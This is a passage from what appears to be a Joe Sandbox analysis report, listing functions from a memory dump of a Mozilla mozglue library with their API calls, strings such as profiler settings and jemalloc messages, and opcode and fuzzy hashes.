Opcode Fuzzy Hash: ddd97dd248dfdf1a0fd1f986fee33f52acd5d8f9f65716aada658a2a1333bda3
Instruction Fuzzy Hash: A321F871A00205DBDB05DF69CC80B6ABBB9FF42304F284529E914DB342F735D912CBA5

Function 6C5FB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5FB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5FB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5FB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FB849

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 868f0d7d88f0f031dfd8d7b5b0d11f65aa231e1171ec707aafcd6e6d9f2e13c4
Instruction ID: 159f743b708fa124804545423bfccd56e54f6f11ec66ef1d74aa00ba220e8f9e
Opcode Fuzzy Hash: 868f0d7d88f0f031dfd8d7b5b0d11f65aa231e1171ec707aafcd6e6d9f2e13c4
Instruction Fuzzy Hash: A72148B0E002199FDF08DFA9C8855BEBBB4EF89314F148529E816A7700E731A945CBE5

Function 6C656E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C656E78

Part of subcall function 6C656A10: InitializeCriticalSection.KERNEL32(6C67F618), ref: 6C656A68
Part of subcall function 6C656A10: GetCurrentProcess.KERNEL32 ref: 6C656A7D
Part of subcall function 6C656A10: GetCurrentProcess.KERNEL32 ref: 6C656AA1
Part of subcall function 6C656A10: EnterCriticalSection.KERNEL32(6C67F618), ref: 6C656AAE
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C656AE1
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C656B15
Part of subcall function 6C656A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C656B65
Part of subcall function 6C656A10: LeaveCriticalSection.KERNEL32(6C67F618,?,?), ref: 6C656B83

MozFormatCodeAddress.MOZGLUE ref: 6C656EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C656EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C656EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C656EFF

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 6cb7ef28e46330c4e7bfae06813a46698c8c3db694b20c68e8607573f812041d
Instruction ID: 69f623bfeef32ac7b671824237d71b9297357f010765bbb6f192656798da0cb7
Opcode Fuzzy Hash: 6cb7ef28e46330c4e7bfae06813a46698c8c3db694b20c68e8607573f812041d
Instruction Fuzzy Hash: 5521C1B1A0421A8FCB04CF29D8C4ADE77F5EF84308F044439E80997340EB349A58CFA6

Function 6C630D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5F3DEF), ref: 6C630D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5F3DEF), ref: 6C630D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5F3DEF), ref: 6C630DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C630D97, 6C630DBE
<jemalloc>, xrefs: 6C630D92, 6C630DB9

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: c7801dc0519997f2bca504b8a3d0b609c032d53a035ed05fb16520b3651b8d80
Instruction ID: 6447d727be20cde1120ae188512be7dd1beafafe02cd47e0d2f259daee0b61a1
Opcode Fuzzy Hash: c7801dc0519997f2bca504b8a3d0b609c032d53a035ed05fb16520b3651b8d80
Instruction Fuzzy Hash: 43F0E9313802B423E63616660C0ABAA67DD67C2F25F307436F20CDA9C0DA94E4088ABD

Function 6C655850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C65586C
CloseHandle.KERNEL32 ref: 6C655878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C655898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6558C9
free.MOZGLUE(00000000), ref: 6C6558D3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 499642d15e17a1a944024b7e0184998e2946042ae7a4c6c2ca2a60c0ee663af1
Instruction ID: 059be70a4ef38f57214b03a5c980e5eab55874aed7b768ac296e11f6240fa627
Opcode Fuzzy Hash: 499642d15e17a1a944024b7e0184998e2946042ae7a4c6c2ca2a60c0ee663af1
Instruction Fuzzy Hash: F90121717041219BEB0ADF27D88CE067BB8EB93325F644935D416C6610D73194158FAE

Function 6C647620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6475C4,?), ref: 6C64762B

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647644
GetCurrentThreadId.KERNEL32 ref: 6C64765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6474D7,6C641385,?,?,?), ref: 6C647677

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 0f6842bd16dd7647df6bcc13359eb4c045949dba78eeab6521ad3d1dc44ccf1d
Instruction ID: cf39ac143e7702f20dfea94c5c4edbcec9aa4c19f87f408480abf4d86e1b4916
Opcode Fuzzy Hash: 0f6842bd16dd7647df6bcc13359eb4c045949dba78eeab6521ad3d1dc44ccf1d
Instruction Fuzzy Hash: D1F0FF71E10345ABE3018F22C888676B778FFEA298F114316F90452601E7B0A5D18BE0

Function 6C651700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C651800

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6518C7
name, xrefs: 6C651939
Details, xrefs: 6C651925

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 72440911051bc0717c853132efcf9e4f89895cea4c6a92dbca42b7d47b9a9717
Instruction ID: 09c58be0249bb8c9678dc0f72f7831a73f08d081ee46268926493b919016b075
Opcode Fuzzy Hash: 72440911051bc0717c853132efcf9e4f89895cea4c6a92dbca42b7d47b9a9717
Instruction Fuzzy Hash: 0C71F670A003069FD704CF29C494B9ABBB1FF86304F544669D8154BB41D770EAA9CFEA

Function 6C642CF0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C642E2D

Strings

(root), xrefs: 6C64354F
ProfileBuffer parse error: %s, xrefs: 6C642E3B
expected a Time entry, xrefs: 6C642E36

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __acrt_iob_func
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 711238415-4149320968
Opcode ID: 3968c1e5476848ad66cf8713c8a9d90e76cd23995ddc41b4c0770d947618cbb7
Instruction ID: 7416517b355430796722b5ce55928937d8c5cf3b6a8f1ef4b3f484b95e32dc8c
Opcode Fuzzy Hash: 3968c1e5476848ad66cf8713c8a9d90e76cd23995ddc41b4c0770d947618cbb7
Instruction Fuzzy Hash: FC519EB06087818FC724CF25C48169EB7E1AFCA358F20C92DE59A97B50DB30D945CB5E

Function 6C61D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

EnterCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D4F2
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D50B

Part of subcall function 6C5FCFE0: EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
Part of subcall function 6C5FCFE0: LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D52E
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D690
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D751

Strings

MOZ_CRASH(), xrefs: 6C61D4BB

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 12591e48a59d4272ea50c5890feaf24ad56e87b8a4170e5712149f48b33dc8c1
Instruction ID: acca5cbbae122e6438eb5ba3ba8f03c9e3578f46570295b14588b589eb22f3b3
Opcode Fuzzy Hash: 12591e48a59d4272ea50c5890feaf24ad56e87b8a4170e5712149f48b33dc8c1
Instruction Fuzzy Hash: D151E171A087118FD729CF29C09065AB7F1EB89309F144E2ED59AC7F84D730E800CBAA

Function 6C644630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C644721

Strings

profiler-paused, xrefs: 6C6446E4
., xrefs: 6C64476A
-%llu, xrefs: 6C644733

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 8deea3bc18fd32b108eb0afd9a0f3191c74c10f3b819709c6d9649361aeb514c
Instruction ID: b95a3b541b5f2e2ef0d97d8349d707875b6511af52e0adf799fbebecb7453bea
Opcode Fuzzy Hash: 8deea3bc18fd32b108eb0afd9a0f3191c74c10f3b819709c6d9649361aeb514c
Instruction Fuzzy Hash: 11415971E047089BCB08DF7AD89216EBBF5EF86344F10C63DE855A7B41EB709805879A

Function 6C669830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C66985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C66987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6698DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6698D9

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: df87ec4f1cf43fcec8b2212e7cb4efb9c20053119958abe822945eeddb813b61
Instruction ID: ef9d0038d9faf098c9a14cc1f06eec31e53f8250b88f1b8027da8595b2d91a6c
Opcode Fuzzy Hash: df87ec4f1cf43fcec8b2212e7cb4efb9c20053119958abe822945eeddb813b61
Instruction Fuzzy Hash: 6C310871A001086FDF14AF59D8449EE77B9EF85718F50442DEA0AABB40CB7599048FEE

Function 6C6446E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C644721

Part of subcall function 6C5F4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C633EBD,00000017,?,00000000,?,6C633EBD,?,?,6C5F42D2), ref: 6C5F4444

Strings

profiler-paused, xrefs: 6C6446E4
., xrefs: 6C64476A
-%llu, xrefs: 6C644733

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 6cf3752b8b43cfee551abf491602327f7b72b9162ca125cfe129a68ba817a9dd
Instruction ID: ee1a9e8851a23e3f61633a3a236bbc77c38040de0e2c57e8815a1fbf23d1a244
Opcode Fuzzy Hash: 6cf3752b8b43cfee551abf491602327f7b72b9162ca125cfe129a68ba817a9dd
Instruction Fuzzy Hash: A3315971F042085BDB0CCF6DD8826ADBBE6DB89314F14C53EE8059BB40EBB4D8058B99

Function 6C64B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C64B127), ref: 6C64B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C64B4E4

Strings

pid:, xrefs: 6C64B4DE

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 76991e2682e63487f8529d7f75c83d4c5329ce09a3ea140da9f782cf7ea86328
Instruction ID: 5f97956d568549577b16807c49fcbc368043fd2ad70e0d332c254860a59a2f03
Opcode Fuzzy Hash: 76991e2682e63487f8529d7f75c83d4c5329ce09a3ea140da9f782cf7ea86328
Instruction Fuzzy Hash: 56314831A01618DFCB04DFA9D880AEEB7B5FF85318F548929D80167A41D731E849CFE9

Function 6C60BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C657A3F), ref: 6C60BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C657A3F), ref: 6C60BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C657A3F), ref: 6C60BF7E

Strings

fl, xrefs: 6C60BF84

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: fl
API String ID: 4279176481-3822986822
Opcode ID: 62fc0da542ffe3e16e573ce70c7971547cc860a9b3fdcf3425d24e1b51642386
Instruction ID: 74de540aa1abd731f5464f84b75d5443d2855dac4e3fc8bef014787095124244
Opcode Fuzzy Hash: 62fc0da542ffe3e16e573ce70c7971547cc860a9b3fdcf3425d24e1b51642386
Instruction Fuzzy Hash: C011C0792006048FC729CF4DD699966FBF8FF99308715885DE98A8BB50C731E800CB95

Function 6C63E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C63E577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63E584
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C63E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C63E5A1, 6C63E5FF
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C63E722
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C63E826
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C63E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C63E655
[I %d/%d] profiler_start, xrefs: 6C63EBB4

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$[I %d/%d] profiler_start
API String ID: 1483687287-1611356987
Opcode ID: 2ed515cfce200a15893e002af4eeb42a6d89404527ee9eb5194d60752b15de84
Instruction ID: 73c7361da53e92a473d5b75dc7338adc0e33c40e0095991912e6e05e03bf8896
Opcode Fuzzy Hash: 2ed515cfce200a15893e002af4eeb42a6d89404527ee9eb5194d60752b15de84
Instruction Fuzzy Hash: E511CE31A04268DFCB159F16C488A69BBB4FFC9328F100D19E94547A45C770A815CFFE

Function 6C640C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C640CD5

Part of subcall function 6C62F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,6C605407), ref: 6C62F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C640D40
free.MOZGLUE ref: 6C640DCB

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

free.MOZGLUE ref: 6C640DDD
free.MOZGLUE ref: 6C640DF2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4450b5de7268678f1526b377bd652ba66357053c6ab8d3c20e13fd6fafc58f83
Instruction ID: bbdbb2ff7aad98ae8ebe4ead96749a3f7cff3354a7e5b88767592dd9cd46f104
Opcode Fuzzy Hash: 4450b5de7268678f1526b377bd652ba66357053c6ab8d3c20e13fd6fafc58f83
Instruction Fuzzy Hash: 284116719087909BD720CF29C08079AFBE5BFD9714F10CA2EE8D887B50D7709849CB9A

Function 6C630800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C630838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C63084C
EnterCriticalSection.KERNEL32(?), ref: 6C6308AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6308BD
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C6308D5

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
